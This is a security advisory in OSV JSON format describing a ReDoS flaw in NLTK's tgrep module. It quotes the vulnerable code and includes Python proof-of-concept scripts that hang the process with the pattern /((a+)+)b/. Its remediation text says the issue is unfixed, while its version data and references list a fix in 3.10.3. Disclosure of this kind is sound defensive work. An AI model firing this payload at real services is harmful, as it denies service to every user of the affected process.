CVE-2026-80206: NLTK Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w3v8-gmh9-3wv7",
  "modified" : "2026-09-08T20:28:28Z",
  "published" : "2026-09-08T20:28:28Z",
  "aliases" : [ "CVE-2026-80206" ],
  "summary" : "NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions",
  "details" : "### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` — `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n    ...\n    elif tokens[0].startswith(\"/\"):\n        assert tokens[0].endswith(\"/\")\n        node_lit = tokens[0][1:-1]\n        return (\n            lambda r: lambda n, m=None, l=None: r.search(\n                _tgrep_node_literal_value(n)\n            )\n        )(re.compile(node_lit))  # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 'a' characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No 'b' is present — exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree])   # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n    tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n    pattern = r\"/((a+)+)b/\"\n    start = time.perf_counter()\n    list(tgrep_positions(pattern, [tree]))\n    return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n    # Adjust the range if needed – these values complete quickly\n    n_values = [18, 20, 22, 24, 26, 28]\n    print(f\"Testing n = {n_values}\\n\")\n\n    times = []\n    for n in n_values:\n        t = test_n(n)\n        times.append((n, t))\n        print(f\"n={n:2d} done\", flush=True)\n\n    print(\"\\n--- Increase factors (per step in n) ---\")\n    factors = []\n    for i in range(1, len(times)):\n        prev_n, prev_t = times[i-1]\n        curr_n, curr_t = times[i]\n        factor = curr_t / prev_t\n        factors.append((curr_n, factor))\n        print(f\"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})\")\n\n    avg = sum(f for _, f in factors) / len(factors)\n    print(f\"\\nAverage factor: {avg:.2f}x\")\n    print(\"\\n✅ Confirmed: exponential growth (catastrophic backtracking).\")\n    print(\"   Larger n (≥ 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `<= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nltk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.10.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-80206"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nltk/nltk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/releases/tag/v3.10.3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T20:28:28Z",
    "nvd_published_at" : null
  }
}